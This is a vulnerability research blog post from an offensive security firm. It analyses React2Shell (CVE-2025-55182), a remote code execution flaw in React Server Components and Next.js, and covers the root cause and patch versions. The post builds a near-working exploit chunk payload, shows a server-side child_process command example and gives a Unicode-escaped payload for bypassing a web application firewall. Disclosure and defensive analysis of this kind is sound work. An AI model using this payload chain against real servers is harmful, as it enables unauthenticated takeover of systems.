Go to Top

Go to Top

Vulnerability research

Vulnerability research

Vulnerability research

Complete Analysis of the React2Shell (CVE-2025-55182) Vulnerability

Complete Analysis of the React2Shell (CVE-2025-55182) Vulnerability

Complete Analysis of the React2Shell (CVE-2025-55182) Vulnerability

EnkiWhiteHat

EnkiWhiteHat

Dec 9, 2025

Dec 9, 2025

Dec 9, 2025

Content

Content

Content

1. React2Shell(CVE-2025-55182) Overview


React is one of the most widely used frontend technologies globally, continuously expanding its ecosystem based on high code reusability and fast rendering performance. Its influence is significant enough that over 5% of web services globally are developed based on React. The React2Shell vulnerability discussed in this blog post is a security vulnerability that allows Remote Code Execution (RCE), even in services based on the latest React version.

cve 디테일

The React2Shell vulnerability allows attackers to execute arbitrary commands on a company's server simply by accessing the service over the internet without authentication, potentially leading to complete system takeover. This vulnerability is particularly concerning because it occurs in typical environments rather than those with additional options set, making it easy to exploit and posing a potential threat to all services using React. For this reason, it has been assigned the highest threat score of 10.0 by the Common Vulnerability Scoring System (CVSS). Since Next.js, broadly used in the Node.js ecosystem, also operates on React, both companies and development teams using Next.js should pay attention to this vulnerability as well.

We hope this article will help domestic and international developers and security personnel at companies to accurately understand the React2Shell vulnerability and perform prompt verification and response procedures.

2. Technical Context

Before diving into the React2Shell vulnerability, a light understanding of the concept of React Server Component, which may be somewhat unfamiliar to security personnel, and Prototype Pollution, which may be unfamiliar to developers, is needed.

React Server Component & Flight Protocol

When providing web services, processing the web pages displayed to users entirely on the server side and providing the completed DOM is called Server-Side Rendering (SSR). In contrast, delivering only data in an API format and processing the actual DOM composition on the user's web browser (Client-side) is called Client-Side Rendering (CSR).

CSR enables a richer web service experience and interaction by providing the skeletal structure of the page to the user, while all actual DOM composition is performed on the user's web browser. However, as frontend functionalities become increasingly complex, the amount of computations that the browser needs to handle has increased, leading to greater consumption of the user's device resources and decreased user experience due to performance degradation.

To address these issues, React introduced React Server Components (RSC), which handle significant portions of rendering on the server rather than the client. RSC is a technology where the execution of React components occurs on the server side, and the execution results are rendered on the client. It is a concept that combines the existing SSR and CSR, rendering the state of the new page only up to the React Component form on the server, and allowing clients to render the components, thereby reducing client-side load.

Although JSON is an excellent serialization format for handling data, it is unsuitable for dealing with complex React Components. To handle React Components appropriately, it must be able to process complex types and references such as Promise, Blob, and Map, beyond simple strings, dictionaries, and arrays. Therefore, RSC uses a unique protocol and serialization format called the Flight Protocol.

Expression

Type

Example

Description

$$

Escaped $

"$$hello" → "$hello"

Literal string starting with $

$@

Promise/Chunk

"$@0"

Reference to chunk ID 0

$F

Server Reference

"$F0"

Server function reference

$T

Temporary Ref

"$T"

Opaque temporary reference

$Q

Map

"$Q0"

Map object at chunk 0

$W

Set

"$W0"

Set object at chunk 0

$K

FormData

"$K0"

FormData at chunk 0

FormData object

$B

Blob

"$B0"

Blob at chunk 0

Blob object

$n

BigInt

"$n123"

BigInt value

$D

Date

"$D2024-01-01"

Date object

$N

NaN

"$N"

NaN value

$I

Infinity

"$I"

Infinity

$-

-Infinity/-0

"$-I" or "$-0"

Negative infinity or negative zero

$u

undefined

"$u"

Undefined value

$R

ReadableStream

"$R0"

ReadableStream

$0-9a-f

Chunk Reference

"$1", "$a"

Reference to chunk by hex ID

Prototype Pollution

Objects in Javascript are quite distinct from the object style commonly known as 'object-oriented' in Java or C++. In Javascript, when objects are created, they are not inherited from a class but from another object. In other words, new objects do not clone from a specific template (Class) but expand their functionality based on another object they reference.

In this inheritance structure, a Prototype is the parent object referred to by an object, and it is the target where a lookup continues for properties or methods not directly possessed by the object. For example, in Javascript, an array uses Array.prototype as its prototype, where methods like toString and push are implemented, allowing them to be used through the prototype.

Due to this characteristic of Javascript, if a property can be set on a prototype object through any means, it can seem as if newly created objects have that property set. This act of polluting the prototype or accessing it inappropriately is called Prototype Pollution. It might be a somewhat unfamiliar concept at first, but it can be easily understood through the example code below, and we'll explore Prototype Pollution in more detail later.

let obj1 = {};
console.log(obj1.foo); // undefined

Object.prototype.foo = "polluted"; //Object의 Prototype

let obj2 = {};
console.log(obj2.foo); // "polluted"

console.log(obj2.hasOwnProperty("foo")); // False (`foo`는 자신 스스로의 Property가 아니기 때문)

3. Root Cause Analysis

Diff Analysis

Before analyzing the root cause of the vulnerability, the React2Shell vulnerability was patched via commit 7dc903c in the facebook/react repository on GitHub (GitHub Commit). Among the changes made in this commit, the modifications related to the Flight Protocol and Prototype were made in packages/react-server/src/ReactFlightReplyServer.js.


함수 구현 내 속성값 검사 추가

caption - Added property value check within getOutlinedModel function implementation in ReactFlightReplyServer.js

Processing Flight Protocol - The First Gateway of RSC

If the getOutlinedModel function is called among the Flight Protocol data passed to the react-server, it is pre-processed via the following function calls in ReactFlightReplyServer.js.

  • initializeModelChunk() Initialize Chunk when a Flight Protocol request occurs

  • reviveModel() : Restore Model from request data

  • parseModelString() : Create Model from string data (deserialization)

  • getOutlinedModel() : Handle Chunk Reference occurring during deserialization

Raw Chunk Reference

In the previous Flight Protocol overview, expressions like $@0 were described as a Reference to Chunk 0. Regarding this implementation, the parseModelString() function can be viewed as follows. (ReactFlightReplyServer.js:929)

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

For a Reference starting with @, it is implemented as a Raw reference that returns the Chunk Promise itself. Through this, a reference to the Promise can be obtained. (CAUSE #1)

Unserialize & Prototype Pollution - Towards the Essence of Chunk

The implementation of the getOutlinedModel() function just before the vulnerability patch can be seen as follows. (ReactFlightReplyServer.js:595)

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

In this function, when chunk.status is INITIALIZED, you can observe how it continues to reference members within value from the path obtained through reference.split(':'). During this process, the absence of checks like hasOwnProperty allows Prototype Pollution through the __proto__ member. (CAUSE #2)

For example, if the reference expression is $1:__proto__:aaa, the member named aaa of the Prototype of Chunk 1 will be referenced.

If Chunk 1 is an object of the Promise type like $@0 viewed earlier, $1:__proto__ will reflect (Chunk0).__proto__, ultimately allowing access to Chunk.prototype.

Through CAUSE #1 and CAUSE #2, the attacker gains access to Chunk.prototype. (PRIMITIVE #1)

Chunk.prototype - Make initializeModelChunk Great Again

Information about Chunk.prototype gained through PRIMITIVE #1 can also be confirmed within the same ReactFlightReplyServer.js file. (ReactFlightReplyServer.js:125)

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed

By default, Chunk is a Promise object, and the .then() method branches to perform different actions depending on this.status.

Meanwhile, by utilizing PRIMITIVE #1, if you reference $1:__proto__:then, it becomes possible to set any property of the chunk to the Chunk.prototype.then function, thus making an attribute named then point to Chunk.prototype.then.

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

In the example above, if the chunk is set as shown, then is actually Chunk.prototype.then, and because this.status is resolved_model within then, if the chunk (actually a Promise) can simply be resolved, the attacker can make arbitrary initializeModelChunk function calls. (PRIMITIVE #2)

initializeModelChunk - Once Again

The attacker can now call the initializeModelChunk function using fully-controllable values thanks to PRIMITIVE #2. The implementation of this function is as follows. (ReactFlightReplyServer.js:446)

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;

  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {''

At this point, since the attacker can control the value of resolvedModel completely, it is possible to invoke the reviveModel function with an arbitrary JSON object. Additionally, since chunk._response was also a controllable value from the beginning of the initializeModelChunk() call, PRIMITIVE #2 reduces to arbitrary reviveModel function invocation.

reviveModel - Blob

Similar to before, the reviveModel() function internally calls the parseModelString() function. Within this parseModelString(), a logic for handling Blob data is present as follows. (ReactFlightReplyServer.js:446)

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

When referring to the code block, remember that the response is a manipulable value by the attacker, allowing the blobKey to finally be manipulated in the form of (desired string) || (arbitrary integer), and response._formData.get can also be manipulated to appropriate values.

Since response._formData.get must be a callable function, you can recall CAUSE #1 to try to apply it.


As shown above, because $1:constructor:constructor becomes Function.constructor, if you construct a chunk as follows, you can use Function.constructor for arbitrary function creation and assignment to value.

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

If you assume the above _response is processed through Blob, it ultimately results in Function.constructor("console.log(1337);//1") being returned and the final structure as follows.

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

As a result, the attacker can create an arbitrary desired Javascript function and further make the value itself into a Thenable possessing the function then.

If you return to the Chunk.prototype.then() function,

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {

After the initializeModelChunk call, where the Blob is processed, value is a Thenable with the arbitrary function created by the attacker as then, so at the line resolve(chunk.value), an arbitrary Javascript function executes. (PRIMITIVE #3)

Sum Everything, Next Resolves Everything

At this point, it is necessary to revisit what information the attacker obtained with the Primitive.

PRIMITIVE #1 => Chunk.prototype 대한 접근
PRIMITIVE #2 => (resolve  ) Fully-Controllable  `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 실행

As long as then of Chunk initially resolved in any form, the combination of PRIMITIVE #2 and PRIMITIVE #3 enables arbitrary function invocation.

Consider an attacker has constructed the Chunk as follows.

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

If structured as above, as long as then is successfully called, the following flow allows arbitrary code execution on the Server-side.

  1. Since .then() is Chunk.prototype.then, the entire operation executes as then on this

  2. Using value = JSON.parse("{\\"then\\": \\"$B1\\"}"), invoke reviveModel

  3. In the reviveModel process, $B1337 is set to Function.constructor("console.log(1);//1")

  4. Invoke then of value again ⇒ Call Function.constructor("console.log(1);//1)()

  5. Execute arbitrary javascript code stored in _response._prefix

In the case of a very representative Framework using React like Next.js, the action handler that executes when the Next-Action header is passed has the following code. (action-handler.ts:879)

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

At that time, the decodeReplyFromBusboy function processes requests in the multipart/form-data format and returns a chunk.

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

If the above Chunk was provided in multipart/form-data format, the decodeReplyFromBusboy function would interpret the chunk and return the chunk below.

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

At this point, this object is a Thenable since it conforms to the definition in Javascript by possessing a then member that is a function. (MDN - Thenable)

Therefore, through the first Chunk.prototype.then, it is possible to call a second initializeModelChunk completely configured with status, value, and _response, ultimately leading to the execution of the console.log(1) code.

Since the JavaScript executed here is Server-side code running on node.js, not Client-side code, an attacker can configure something like process.mainModule.require('child_process').execSync('id > /tmp/test');, making arbitrary code execution possible on the server.

4. Course of Action

Since most of the recently released versions of React-based technology stacks are affected, it is recommended to check the currently used version and apply the latest patch that resolves vulnerabilities quickly if using vulnerable versions of React Base services.

Target

Affected Version

React

19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js

15.x (15.0.0 ~ 15.5.6), 16.x (16.0.0 ~ 16.0.6), Next.js 14.3.0.canaray.77 and above

React-based derivative services

-


The latest patch versions that fix the vulnerabilities are as follows.

Target

Latest Patch Version with Fixed Vulnerabilities

React

19.0.1, 19.1.2, 19.2.1

Next.js

15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0, 16.0.7

It is possible to add rules against well-known attack payloads through WAF, but since this is a vulnerability that makes it easy to implement transformed payloads, it is difficult to effectively defend by adding WAF rules alone.
During the process of handling Flight requests in RSC, the JSON.parse function processes the attacker's input, allowing JSON syntax to be delivered, and manipulated to bypass detection rules by making malicious payloads undetectable through Unicode notation like \\uXXXX.


Type

Details

RSC Flight Handling Code

const rawModel = JSON.parse(resolvedModel);

WAF Bypass Example Payload

{ "\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e", "\u0073\u0074\u0061\u0074\u0075\u0073": "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c", "\u0072\u0065\u0061\u0073\u006f\u006e": -1, ... omitted }

EnkiWhiteHat

EnkiWhiteHat

ENKI Whitehat
ENKI Whitehat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.